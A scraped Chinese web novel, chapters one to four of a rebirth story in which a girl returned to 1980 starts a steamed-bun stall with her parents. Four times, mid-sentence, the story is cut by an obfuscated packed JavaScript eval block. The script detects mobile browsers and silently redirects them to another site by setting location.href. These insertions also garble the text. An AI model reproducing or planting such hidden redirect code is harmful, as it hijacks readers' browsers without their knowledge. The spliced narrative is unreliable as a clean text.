《重回八零，从摆摊开始》 1. 第一章 “珍珍啊，你清醒一点吧！八年了，人家都已经结婚了！你还是不肯死心，现在还要跟着人家去米国，难道你真要把一辈子都耗在这份没指望的感情上？” “珍珍，爸爸妈妈求求你，不要走，不要再犯傻了……” “哎哟，丽珍啊，你赶快回家看看吧！你爸他在家喝农药了！” “苏丽珍，你爸他死了，死了！被你这个没有心的女儿生生逼死了！你走，你不是要出国吗？” “滚啊！我就当没有你这个女儿，我这辈子都不想再看到你！” 苏丽珍猛然睁开眼睛，直到确定眼前的依旧是没吊棚的老式木棚顶，确定自己还躺在自己卧室那张小木床上，这才轻轻吐出一口气。 擦去额头上的汗水，她慢慢坐起身，目光下意识在这间半大的小屋内游移。 彼时，清晨的阳光正透过剥了漆的乳白色窗子照进来，晃得新糊了一层白麻纸的墙面暖黄一片。 灰色的水泥地面上横着四五条弯弯曲曲的裂缝，靠床边摆了一张老旧书桌，上面一气儿贴满了《白X女》和《草原X姐妹》的旧挂历。 眼前的一切熟悉又陌生，苏丽珍掀开腰间的薄被单，趿上鞋子走到书桌前，缓缓拿起一面红色塑料框圆镜。 尽管昨天晚上就已经回来了，可她一直以为眼前的一切不过是她弥留之际的幻想，所以直到此刻，她才敢真正看一看自己。 镜子里的小姑娘五官稚嫩、皮肤雪白，眼角眉梢都堆满了十六岁少女所拥有的青春纯美。 苏丽珍看了一会儿，才慢慢放下镜子，轻轻闭了闭眼，两滴晶莹的泪水霎时挣脱眼眶，无声掉落。 她以为自己已经悄无声息地冻死在米国的街头，注定死后无人收尸，任由尸身在异国他乡零落成泥，魂魄则坠入阿鼻地狱。 可没想到一睁眼，她竟然不是身在无间地狱受罚，而是回到了从前！ 是老天爷知道了她临死前曾幡然悔悟吗？ 所以才降下这样的神迹，让她一朝回到十六岁，回到这个所有错误都不曾开始的年纪…… 苏丽珍脸上露出似哭似笑的神情，有那么一瞬间，几乎要狠狠大吼一声，吼出上辈子积郁在胸口十多年的痛苦！ 可她的嘴唇颤抖了半天，最终这声吼还是哽在了喉头。 恰在这时，窗外突然传来一阵低语，“卫华，吃完饭有半个点了，快把药吃了吧！” 这声音亲切柔和，像冬夜归途中的明灯，那灯光能穿透重重迷雾照进人的心底，驱走无尽的寒冷与黑暗。 这是妈妈的声音！ 事实上，因为昨晚她一直没能从重生的巨大震惊中回过神，所以乍一见到年轻了许多、且依旧疼爱她的双亲时，整个人太过激动和悔恨，竟直接扑在父母怀里痛哭了一场，可把两人吓得不轻！ 妈妈更是紧紧搂着她，陪了她大半个晚上才敢离开。 她肯定让爸爸妈妈担心坏了！ 苏丽珍想到这里就是一个激灵，瞬时回神，忙快步走到窗前，果然看见院子里母亲李翠英正端着搪瓷缸，劝坐在小凳子上的父亲苏卫华吃药。 苏卫华两年前就被查出患了心脏病。 起初苏卫华自己没当回事，也不好好吃药，加上在机械厂上班，工作又忙又累，导致病情突然加重。去年冬天住了一个多月院，出院后不久就不得不办理了病退手续，在家休养。 自此，更是日日药不离口。 只今天苏卫华不知为啥，任凭李翠英劝了他老半天，却一直摇头不肯吃，“先放放，等中午我再吃好了。” 李翠英自然不依，“那咋行？人大夫再三嘱咐过，这药一天三顿，一顿都不能落，哪能中午再吃！” 没想到苏卫华却是犯起了犟，“我说不吃就不吃！少吃一顿也死不了！” 李翠英怕他生气，即便心里着急，这会儿却不敢硬劝，索性一屁股坐在旁边另一张小凳子上，低头生起了闷气。 见媳妇不高兴了，苏卫华有些心虚，便时不时拿眼觑着她，还偷偷挪凳子，从原本斜对着窗户的位置一点点靠过来，变成大半身子面朝李翠英。 苏丽珍站在窗前，看着嘴犟心软的爸爸以这样别扭的方式跟妈妈低头，心里想笑又有些想哭。 她的爸爸为人好强，上辈子，他一生低过的几回头全都是为了她。 所以才会在一次次对她失望后，以那样绝望的方式结束了自己的生命，也彻底割断了与她的这份父女情份…… “我不用你哄！” 窗外李翠英一句低喝再次打断了她的思绪，她忙又看过去！ 原来苏卫华的小凳子不知啥时候早已挪到了紧挨李翠英的位置，一双眼睛正巴巴盯着媳妇的脸色不放。 李翠英顺势板起了脸，“我不用你哄，你要真不想惹我生气，就赶紧吃药！” 谁知苏卫华却抿紧了嘴唇，看了眼对方手里的药，竟还是别过了头！ “犟驴！”李翠英这下气坏了，眼眶也瞬时红了！ 苏丽珍一看妈妈这回是真动了气，再站不住了，赶忙开门走出屋子。 “妈，爸！” 一看到女儿出来，李翠英紧绷的脸色倒是缓和了不少。 她赶忙把人招呼过来，满脸关切地问道：“珍珍昨晚睡得咋样？现在缓过劲儿来没？” 闺女昨天参加了中考，可能是太累了，下午考完回来，进屋倒头就睡，一直睡到晚上八点多，结果醒了一看见他俩就扑到他们怀里嚎啕大哭！ 可把他们两口子吓坏了！ 这孩子长这么大还从没这样哭过，差点没把他们两口子的心给哭碎了！ 肯定是这试没考好！ 想到闺女平时挺上进的，估计是因为太紧张啥的才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746371|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没发挥好，虽说她心里也有些遗憾，可作为当妈的，她还是更担心性子偏内向的闺女钻牛角尖。 李翠英立时顾不上自家男人了，听闺女点头说休息得还行，便又小心翼翼哄道：“珍珍啊，早饭我跟你爸对付了一口，也没啥好吃的，干脆妈给你拿钱，你一会儿就到外头的国营小吃部吃点肉包子、馄饨啥的？” “正好这试也考完了，吃完了就顺便去转一转，连带散散心吧！” 一旁的苏卫华这时也完全忘了自己正跟媳妇“叫板”的事，闻言也跟着一个劲儿点头附和，“对对，多带点钱，看到啥喜欢的就买！把跟你关系好的同学也叫上，人多了热闹！” 看着父母满是疼惜又万分小心的神情，苏丽珍直觉鼻子一酸，眼泪差点掉下来！ 她知道一向对妈妈言听计从的爸爸为什么不肯好好吃药，只是因为他想省钱！ 苏卫华原来是机械厂的工人，因为是个带班的班长，所以病退前光每月的基本工资就有四十五块，再加上各种补贴，最后差不多能有五十二、三块。 可退职后，现在每月只能拿到原基本工资的百分之四十，也就将将才十八块钱。 李翠英因为苏卫华的关系在机械厂的食堂做临时工，本来说好了这一二年就能转正，只是没想到苏卫华一退，人走茶凉，她的那份临时工也叫人给顶替了下来。 这样一来，一家三口就只能靠着苏卫华每月那十几块钱过活。 收入少了，可花销却越来越多。 打从两口子在机械厂都没了工作，厂子原先分下来的房子也被收了回去，一家三口不得不另外花钱租房子住。 而苏卫华每月要吃药，还得供苏丽珍上学，每个月的那点钱真是捉襟见肘。 所以苏卫华才会萌生出靠减少吃药来省钱的想法！ 明明家里的条件已经这么紧了，两口子却还一心惦记着想让苏丽珍这个闺女拿钱出去吃喝散心。 苏丽珍自己知道，上辈子的她说好听了叫天真、不谙世事，说难听了就是自私冷血，完全只顾着自己那一亩三分地！ 面对家里每况愈下，父母的愁苦消瘦，她虽然有所察觉，却因为觉得自己的生活没受什么影响，便从不愿多问一句； 后来更是满心都扑在那个人身上，更加没心思为这个家付出哪怕一丝一毫的心力，实在不配为人女！ 此刻，她咽下满心对自己的厌恶，咬了咬舌尖，忍住眼泪，忙对两人摇头：“爸、妈，家里有什么我随便吃一口就行！而且我现在什么都不缺，想散心待会儿出去走走就好，不用乱花钱的！” 散心是不必的，不过她待会儿也确实需要出去好好转一转，看看有什么合适的生计。 现在家里的境况不好，她既然重新回来了，自然要想办法挑起这副担子，决不能让爸爸妈妈再像上辈子一样终日贫病忧心，老无所依。 2. 第二章（小修） “啥叫乱花钱，你马上就是大姑娘了，也该买点好看的衣服啥的！”李翠英嗔道。 她不容女儿拒绝，不由分说就从上衣口袋里掏出一个小巧的白色手绢包，飞快打开，取出里面一沓面额不等的钱票。 翻了翻这些零散的钱票，李翠英咬了咬牙，最后只抽出两张纸币揣进自己衣兜，就把剩余的钱票连同手绢一起都塞进了苏丽珍手里！ “珍珍，这些你都拿着！听说南湖公园那边有人摆摊卖衣裳，都说样式比百货商店的还好看，还都不要票！你去看看，要是碰到喜欢的就买一件！” 因为心急掏钱，李翠英衣兜上的一枚别针也被她连同手绢一并塞了过来。 这个时候许多人习惯用手绢包钱，加上因为夏天普遍衣服单薄、衣兜太浅，不少人就会用别针别住兜口，防止手绢从衣兜窜出来。 苏丽珍看着面前殷殷注视着自己的父母，心里有了决定，推拒的手缓缓放下，最终改为将那手绢包紧紧攥住。 也顺势把那枚在阳光下泛着银光的别针一同攥进了手心里。 也许是太过用力，也可能是刚才妈妈太急迫，此刻，那枚别针的针尖已经脱出了针头，即使隔着一层柔软的手绢，那尖锐的针尖仍然刺痛了她的手。 十指连心，这滋味不是一般的疼。 可比起能够重新扑进父母怀抱里，再次肆意享受他们的温暖与疼爱，也许这钻心的疼才配她苏丽珍。 家乡凤城，地处东北，是所在省份的省会城市，同时也是本省的经济文化中心。 而1980年的凤城，即便早已是闻名北方的大城，可整体还是处于一个贫穷落后的局面。 走在通往自由市场的长街上，看着大道两边勉强只能算得上齐整的低矮民房和零星几座被油烟浸润的黑洞洞、脏兮兮的筒子楼，苏丽珍不禁有些感叹。 虽然改革开放的春风也给这座老城带来了几许新意，可这种改变与她记忆里后期那种日新月异、翻天覆地的变化程度还是相去甚远！ 尽管上辈子她流落异国数年，最终也没能再回到这片土地，可在她生命的后期依然能时常听到些遥远祖国经济腾飞的好消息。 所以，她远比其他人能更清楚地认识到未来的社会形势和经济走势！ 而这也是她目前所能倚仗的最大优势。 重活一回，绝了那些自以为是的情情爱爱，她现在满脑子都是怎么尽快改善家里条件，给父母一个优渥的生活环境，好让他们后半辈子过得美满幸福。 现在是六月底，苏丽珍这次中考没能考上现在十分吃香的中专，而是上了市里的高中。 高中正式开学是九月一号，这期间两个月的时间，苏丽珍相信凭借她现在所掌握的一些信息做点小买卖，应该能给家里赚上一笔。 考虑到成本，结合目前家里的情况，她打算从“吃”这方面入手。 她想先摆一个小吃摊！ 妈妈李翠英的厨艺一直很好，在机械厂食堂帮工的时候，因为手脚勤快、性子好，隔三差五还能得到一回大师傅的指点。 至于苏丽珍自己，上辈子的她其实在国内的时候压根不会下厨，只是后来一个人偷渡到米国，既没钱、也没人，什么事都只能靠自己，不得已学会了自己做饭，渐渐倒有了几分妈妈李翠英的样子。 不过如今想摆小吃摊，最大的底气却是仗着前世一份意外的机缘。 上辈子她在米国四处流浪时，有幸得到过一本名为《料经》的手抄本。上面详细记载了八大菜系中常用调料的特点和用法，以及许多源自华国各地的酱方、卤方等珍贵配方，甚至还囊括了一些传统特色小吃的调味方法，内容堪称齐全。 即便当时的她刚刚接触厨艺，也能看出这本书有多么珍贵！ 不过这书的价值虽高，但她那会儿真正在意的却不是这些。 那时的她身在异乡，居无定所，三餐不济，还要不时应付各种恶霸宵小的骚扰，有时候身心俱疲，而这本旧书册上通篇的汉字，会让她难得感受到一丝来自母国故乡的温存慰藉。 这对当时艰难求存的她来说，真的意义非凡。 所以，那会儿只要稍微能遇上一个相对安稳的落脚点，她就会把这本书借来，一遍遍的翻看、抚摸那些熟悉又陌生的字体，以至于这本书上的内容，她渐渐可以倒背如流。 直到后来，分享这本书给她的人走了，她自己的生命也在寥落中走向终结。临死前，在她终于能够面对自己，正视自己这一辈子犯下的所有过错，并坦然承受一切悔恨带来的锥心之痛时，也只剩下这本书还陪在她身边。 它见证了她的死亡，见证了她那迟来的悔悟…… 心尖一阵细微的刺痛，苏丽珍深吸一口气，强迫自己先不去想那些痛苦的回忆，努力把思绪集中在眼前渐近的喧嚣处。 走了半个小时，终于到了凤城如今最大的自由市场。 自改开后，政策允许农民们把自家的农副产品带进城里贩卖，形成了早期的小市场。后来随着来买卖东西的人越来越多，又吸引来了不少手艺人、工匠。 小市场越来越大，政府干脆直接在这里划出一块地皮，简单修建了一座露天自由市场。 苏丽珍逛了一圈，发现时间过了早上八点以后，早市基本临近尾声，有赶早来卖完了菜的农民已经准备返家了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746372|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 不过自由市场是全天开放，这一波卖菜的人走了，紧跟着还会再来一波，只要不是来的太晚基本不愁买不到新鲜菜。 关于小吃摊，苏丽珍打算先从卖包子入手，成本低，工序简单，即便是赔本也不会造成太大损失。 起头试卖，她只打算准备一荤一素两种馅儿。 现在正值初夏，青菜基本都下来了，价格十分便宜，苏丽珍买了六斤包菜、两斤大葱，才花了一毛六分钱。 接下来是买肉。在国营的副食店里，猪肉凭票一斤八毛六分钱，自由市场里不需要票，价格稍贵一些，一斤能卖到一块钱左右。 不过因为现在是夏天，猪肉不好储存，常常九毛钱一斤就能买到。 苏母给苏丽珍的这一手绢包里一共是五元六角八分钱，其中有两张肉票，三张粮票。 苏丽珍没动肉票。现在天热，即便是自由市场里也不能保证每天都能买到新鲜猪肉，既然这会儿能买到，这肉票就得留着以后应急用。 在一个猪肉摊上一口气买了五斤肉，一下就花掉了四块五毛钱，刚刚还觉得菜价便宜的苏丽珍顿时心疼得直抽气。 倒是卖肉的大叔见她一下砍了这么多肉，乐得眉开眼笑，十分大方地送了她两根刮得光溜溜的棒骨。 从猪肉摊出来，她又循着记忆买了些调味用的香料，手上原本鼓鼓的手绢包一下就瘪了。 钱花的差不多了，加上手里的东西实在不轻，苏丽珍最后花八分钱买了个大柳条筐，将所有东西装好，就赶紧回去了。 返程时，她花了五分钱坐了趟公交车。可惜下了车，苏家所在的胡同距离大道还有七八分钟的路程，这一段路就只能靠她自己了。 这会儿日头已经升起来了，气温越来越高，等她拎着这些东西到家时也出了一身的汗。 看到女儿突然大包小包回来，苏卫华两口子都吃了一惊！ “珍珍啊，你咋一下买这么多东西啊！” 苏丽珍抹了抹头上的汗水，一边把筐里的东西往外倒腾，一边解释道：“爸、妈，这不是刚考完试吗？我想利用假期这段时间摆个小吃摊，一方面，锻炼锻炼自己；一方面做点小买卖也能挣点零花钱……” 没想到不等她说完，一旁的苏卫华就呵斥道：“胡闹！我苏卫华的闺女哪能出去摆摊！这不是丢人吗！” 李翠英也赶紧上前一把拉住苏丽珍忙碌的胳膊，皱眉道：“你这孩子，真是想一出是一出！你正正经经的学生，就是考不上中专，也要上高中的！咋能去摆摊挣钱？你赶紧给我把这主意打消了！” 看着父母难看的脸色，苏丽珍心里当即一个“咯噔”！ 3. 第三章 糟了，她怎么把这茬给忘了！ 这会儿不像后期，现在做买卖、干个体的基本都是些进不了厂子、没稳定工作的人，还有很多干脆就是小混混出身。 所以在时下人眼里，摆摊做买卖那就是不入流的营生，压根不是正经人干的，准叫人背地里瞧不起！ 她光想着摆摊子挣钱，竟把这一茬忘得死死的！ 苏丽珍赶忙放下手里的东西，拉着李翠英的手，看了眼黑着脸的苏卫华，唯恐他气急伤身，忙先低头认错：“爸、妈，对不起，你们别生气！这事是我不好，没跟你们商量就先斩后奏。” 果然，看女儿乖顺地认错，苏卫华两口子的脸色也缓和了不少。 苏丽珍见此心里有了一点底儿，便又顺势小心解释起来：“爸、妈，其实我是这样想的。” “我每天上下学都要路过客运站，经常能看到很多人因为不舍得花钱去国营饭店吃饭或者错过了饭点，就只能蹲在大门口吃点干巴巴的饼子、馒头，夏天还好，冬天那些干粮又冷又硬，想想那滋味也不好受。” “所以我就想咱们在客运站门口支个小摊，卖点热乎的包子小吃啥的，尤其我妈的手艺那么好，吃过她做东西的人谁不夸上几句？” “手艺有保证，到时候咱们再搭一点汤汤水水，冬天用热的、夏天用凉的，既能自己挣钱，也给大伙儿提供了方便，这不是挺好一件事吗？” “而且……”她觑了眼明显被她说得意动的李翠英，再接再厉道：“就像我爸平日里教我的，无论干什么，只要咱们踏踏实实，不偷、不抢、不害人，就凭咱自己的良心和双手去做事，那就没啥好丢人的，是吧？” “你这孩子，还学会拿话将我了！” 苏卫华气得够呛，可他虽然脾气不好，却一直是个讲理的人，尤其听了闺女这些想法，也算有理有据，并不是一时热血上头瞎胡闹！ 理智上，他其实是有些认可闺女的话，就是情感上还是无法接受！ 可他随即又想到，近一年来，因为他的病，拖累得这个家每况愈下。现在，更是连一向文文静静的闺女都想着出去摆摊挣钱了！ 老天爷知道，这孩子平时可连菜场都没去过几次啊！ 此时此刻，他突然觉得自己真没啥可怨怪的，说来说去，还是他这个当爹的太没用，苦了孩子啊！ 苏卫华一时悲从中来，可能是情绪波动太剧烈，他突觉心口窝处传来一阵熟悉的绞痛，脸色也跟着一变！ 眼见他面色发青，把李翠英和苏丽珍都吓得够呛，知道他这是犯病了，娘儿俩赶忙过去将人一把搀扶住，让他慢慢坐在木凳上缓一缓。 苏丽珍又飞快把苏卫华之前一直舍不得吃的药端过来，小心地喂父亲吃了下去。 李翠英一边熟练地用手轻揉苏卫华胸膛，一边红着眼睛埋怨道：“都说让你按时吃药、按时吃药，你就是不听，看现在遭的这个罪！” 抱怨完男人，也没放过“挑事”的闺女：“还有珍珍，你也别犟了！放假了没事你就去图书馆，你平时不是最喜欢去那儿吗？以后摆摊做买卖啥的话都不许再提了，听见没！” 其实刚刚听了闺女那番话，李翠英是有些心动的，不为别的，就是如今家里的条件确实太紧张了！ 闺女要上学，男人要治病，还有房租、水电，吃喝拉撒，几乎处处要钱！偏偏他们两口子现在还没了工作，只靠卫华每月那点退休金，真是哪哪儿都不到！ 这一年来，她不知道多少个夜里愁得睡不着觉！ 所以虽说出去摆摊子有些丢脸，可只要能挣到钱，她一个女人家，丢脸也不怕！ 只是现在看自家男人反应这么大，她却是不能再接茬了。 而李翠英的想法此刻也恰恰正是苏丽珍心中所想！ 这会儿苏丽珍后悔极了！ 虽然她是很想尽快挣到钱，可她如今想做的一切前提都是为了能让上辈子亏欠的父母过得健康快乐！ 要早知道爸爸对她出去摆摊会这么生气，她是无论如何也不会提这个的！ “爸爸，对不起！我错了，我真的错了！我答应您，我以后肯定不会再张罗着出去了，求您千万别生气！” 苏丽珍哭得眼睛通红，一张脸也有些发白。 药效上来，苏卫华也慢慢缓了过来。看闺女被自己吓成这副样子，他心里越发自责，先是长长出了一口气，然后才摇头道：“珍珍啊，其实你先头说的对，咱凭自己劳动挣钱，不偷不抢，对得起良心，那就没啥好丢人的！” “这事啊，是爸想左了！” 苏卫华这反应让母女俩都吃惊不已。 “卫华！” “爸！” 苏卫华却再次朝娘儿俩摆摆手，然后轻轻擦去苏丽珍脸上的泪水，又道：“好闺女，爸想明白了！你想去摆摊就去吧，爸不拦着你了！” 说完，又反过来拉住李翠英的手轻轻握了握。 夫妻这么多年，他自然看得出其实刚刚对于自家闺女的提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746373|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 议，他媳妇也有些心动了。 他已经把这个家拖入谷底了，没必要为了守着自己那点不值钱的脸面让媳妇和闺女跟着他遭罪。 娘儿俩很快也意识到苏卫华并不是故意置气，而是真心实意认可了这件事，惊讶之余，也确实觉得高兴。 李翠英自不必说，毕竟细想想，眼下出去摆摊也的确是最适合他们家的一条出路。 苏丽珍更是欣喜不已，这种“当你极想认真去做一件事，而你身边最重要的亲人也全部真心支持你”的感觉真的特别幸福。 苏卫华抛开了思想包袱，一家人达成一致，两口子也能静下心来想一想闺女卖包子的提议。 首先，比起干别的，这卖包子成本确实不算高，即便如今家里条件紧张，这个风险他们也承担得起； 再者，这些年，每逢邻居朋友家里来人请客吃饭，总要来请李翠英过去帮忙掌勺，但凡尝过她手艺的，就没一个不夸的！所以对于李翠英的厨艺，苏卫华同闺女苏丽珍一样，也是满怀信心！ 这样看来，卖包子确实是个不错的选择！ 既然做好了决定，一家人也没耽搁。毕竟如今天气热了，苏丽珍买回来的那些肉可放不住，当下就开始行动起来。 一家三口商量好，由李翠英先发面，苏丽珍负责择菜洗菜，而坚决不肯休息的苏卫华就给娘儿俩打下手。 苏丽珍很快就洗出来一大盆的包菜，趁着青菜沥水的空档，忙先回自己屋找出纸笔，按着上辈子的记忆，从《料经》中调制馅料的方子里挑了几个相对简单些的飞快写了下来。 有了这料经上的方子，她相信凭借妈妈李翠英在厨艺上的天赋，以及对烹饪的喜爱，今后肯定能事半功倍。 而李翠英一听说有馅料方子，果然眼睛一亮，连手上的活计都顾不上了，急吼吼就催着闺女要看方子。 可惜她没念过几年书，识的字不多，闺女手里这张纸上的字虽然没几个，可她还是认不全。 “好闺女，妈看不明白，赶快给妈念念！” 苏丽珍忙把几个方子都念了一遍，为了方便李翠英琢磨，还特地放慢了语速。 李翠英起先跟着默默念叨了几遍，之后原地琢磨了一会，很快就拍起了巴掌，直乐道：“哎呀，看看人家这料用得多巧啊！珍珍，我看你买回来那筐里就有这几种香料，不如咱家今天这包子就照这方子试试吧，我感觉错不了！” 苏丽珍自然同意，本来她买那些香料也是为了今天的包子。 4. 第四章 李翠英高兴之余又问起这些方子的来历，苏丽珍便推说是自己从图书馆里一本残破的旧书上看到的，想着李翠英或许会喜欢，所以特意抄录了下来。 李翠英很喜欢下厨，用原先机械厂食堂大师傅的话说，就是对这一行“钻”得很！这一点，了解她的人都知道。 所以李翠英听完不疑有他，倒是觉得闺女就是跟她贴心。 “好闺女，你可真懂妈！妈就稀罕这些东西！” 她看着闺女这些天因为中考熬得有些清瘦的小脸，再想到这孩子竟然懂事地张罗着要摆摊贴补家用，不禁又是欣慰、又是心疼。 “看你这几天瘦的！妈这回要是能挣着钱，就给你买好吃的，天天换样做，给你好好补一补！” 李翠英此刻再次坚定了自己的内心，只要能挣到钱，不管别人怎么笑话，她这个摊都摆定了！ 妈妈的话却险些让苏丽珍再次红了眼眶。 无论是上辈子，还是这一世，她的爸爸妈妈始终都把她放在第一位。 前世的她究竟是有多糊涂，才会为了追求自己所谓的爱情，做尽蠢事，让深爱她的父母伤心欲绝！ 那时的她怎么还能算个人？ 巨大的自厌情绪几乎将她湮灭，可是为了不让李翠英看出她内心的煎熬，她只好顺势将脸贴在对方肩膀处，忍着泪意低低道：“妈，你和爸真好……” 搂着闺女、一心沉浸在做包子挣钱想法里的李翠英恍惚听到这么一句，却“噗嗤”一声笑了起来，“妈当然好！你爸才不好，那就是个大犟驴！” 正巧苏卫华将沥干水的包菜端进屋，一听这话，当时就不乐意了，故意拉着个脸：“背后说人坏话可不是好同志啊！” “再说，犟驴咋不好？没听人说‘天上龙肉，地上驴肉’吗？犟驴可值钱呢！” 这下连苏丽珍都被逗笑了！ 李翠英白了他一眼，没好气儿道：“瞅把你给能的！我要说你胖，你回头还不得跟猪比去！” 说完自己也“噗嗤”一声乐了。 闹了两句，李翠英就“献宝”似的把苏丽珍给她抄的馅料方子拿给苏卫华看，言语间满满的雀跃和得意。 苏卫华也很高兴！ 他不懂这些，可他心里明白媳妇是真的很喜欢做饭这门手艺，只是他没能耐，不能帮她保住机械厂食堂这份工作。 如今看闺女贴心地找来这几个配料方子，把翠英哄得这么开心，他也打心眼里高兴。 李翠英手脚利落地和好了面，等着面发的工夫，又准备剁肉馅，一旁的苏卫华就抢着要剁包菜，李翠英自然不答应。 两口子争了半天，结果菜刀却成功被苏丽珍拿到了手！ 她也不含糊，支上菜板子就开始动手切起菜来。 苏卫华和李翠英不禁有些担忧，毕竟苏丽珍长这么大可连葱花都没切过几回，这上来就剁菜馅儿能行吗？ 两口子在一旁欲言又止，可没想到看了一会儿，他们就惊讶地发现原来闺女还真有两下子。 只见她先是把包菜一片片码放整齐，先横切丝，后竖切末，虽说动作慢了些，可这手活计还真是有模有样，相当不错！ “妈，您别忘了，小时候每次只要您一进厨房，我可是必定要从头跟到尾的！有些东西我其实早就看会了，就是差手熟而已！”苏丽珍手上动作不停，一边故作自然地抬起头对两人解释道。 其实她心里清楚，她现在是不应该会这些的，只是她真的不想再像上辈子那样心安理得地享受父母的付出！ 她想为爸爸妈妈，为这个家做点什么！ 一刻都不想等！ 不过两口子果然没有一点怀疑，听了苏丽珍的话反而都觉得十分惊喜！ 李翠英当即满脸自豪道：“哎呦，这可真是我闺女！卫华，看看这孩子，这股子劲儿准是随了我了！” 苏卫华也乐：“我说闺女，你这一手藏的挺深啊！别说，你现在可把爸都给比下去了！” 两口子欣喜的同时，也有些欣慰，从前他们总觉得闺女自打上了初中，性格就越来越“独”，似乎对他们这当爹妈的也不太爱亲近了。 可如今看来，闺女分明还跟小时候一样！ 兴许就是这几年读书的压力太大了，才让孩子一点都不快乐。 想到这些，夫妻俩悄悄对视了一眼，都在心里打定主意，这次中考不管孩子考成啥样，他们都不会多说什么，绝不会给孩子任何负担。 苏丽珍不知道父母心里的想法，只是看着他们脸上满足的笑容，心里某一处却像针扎一样疼。 她的爸爸妈妈真的很容易满足，明明她只是做了这么一点微不足道的事！ 此刻，她只有在心里一遍遍感激上苍，给了她一次重来的机会，让她能好好弥补他们。 而有了苏丽珍的帮忙，相对繁重的剁馅工作也轻松了不少，一家人轮番上阵，很快就准备好了一荤一素两大盆馅料。 荤的是猪肉葱花馅儿，素的是包菜粉条馅儿，最后再统一由李翠英参考那几个馅料方子加上各种佐料调好。 这馅料方子也果真厉害，包子馅刚调好就散发出了一股浓郁的香味！ 一家人闻着这股香味，顿时信心大增。苏卫华和苏丽珍父女俩擀皮，李翠英负责动手包。 一张张面皮飞快在李翠英的手指间变成一个个白胖的包子，上面的褶皱均匀整齐的好像是拿笔画上去一样，光是这么看着就让人觉着稀罕了。 三人一口气就把两盆馅料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746374|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都包好了，其中肉包子五十五个，素包子六十个。 这一百一十五个包子一起上锅蒸熟。 作为机械厂的老员工，家里铁炉子、铁锅之类的铁具是最不缺的。再加上因为李翠英手艺好，从前在机械厂家属院住的时候，每到年底左邻右舍经常请她帮忙蒸馒头、豆包、发糕之类的面食。 苏卫华看媳妇也确实喜欢做这些，就特意托人买回来一摞大蒸屉备着。 从前最忙的时候，这些大蒸屉都用上，一次蒸它二百来个馒头包子也不成问题。 所以眼下这一百多个包子也不算啥难事。 蒸包子前，苏丽珍还特地把家里的小铁炉子生起火，架上锅，把买肉送的那两根光溜溜的棒骨丢进去，准备煮汤，到时当做卖包子的一点添头。 苏卫华也把煤棚里原先用来拉煤的旧三轮车找出来，和闺女一起打水反复擦洗了几遍，确定看上去干干净净为止。 擦好了车，骨头汤锅刚开始咕嘟咕嘟泛油花，那边包子们就出锅了！ 一百一十五个白胖胖、香喷喷的大包子们摆在一起，空气里弥漫着面粉与馅料熟透后相互融合的鲜香味儿，忙活了小半天的一家三口也忍不住齐齐咽了口口水。 李翠英把两种馅料的包子各拿一个掰开来，三人带着满满的期待细细品尝起来。 一口咬下去，嚯，肉包子咸香肥美，肉嫩汁浓；素包子鲜灵爽口，汤汁清香中还带着一抹儿微微的甜！ 无论哪一种吃起来都香得很！ 用苏卫华的话说就是：老霸道了！ 李翠英也忍不住感叹：“这个味儿我可调不出来！珍珍这方子真是个宝啊！” 包子的好味道让一家人越发有信心，眼看着时间也不早了，该出门去试试了！ 三口人简单收拾了一番，把大小两个炉子先装上三轮车，固定好。 用一个簇新的小柳条篮子装了几只瓷碗、一副家里过年做炸货用的大筷子和一个打汤用的大铁勺，蒙好纱布后挂在了三轮车把手上。 此外，李翠英又单独准备了大半桶清水，用盖帘盖好也一起装上了车。 这一趟不知道要多长时间，所以苏丽珍还细心地把家里两个小板凳也一并带上了！ 一家人锁好门就直奔了客运站。 原本李翠英母女是不想让苏卫华一起去的，可苏卫华死活不干，当着娘儿俩的面把自己的药瓶子揣进衣兜里，啪啪拍得震天响，一口咬定自己带着药，保准不会有事！ 娘儿俩拗不过他，也只好让他跟着了。 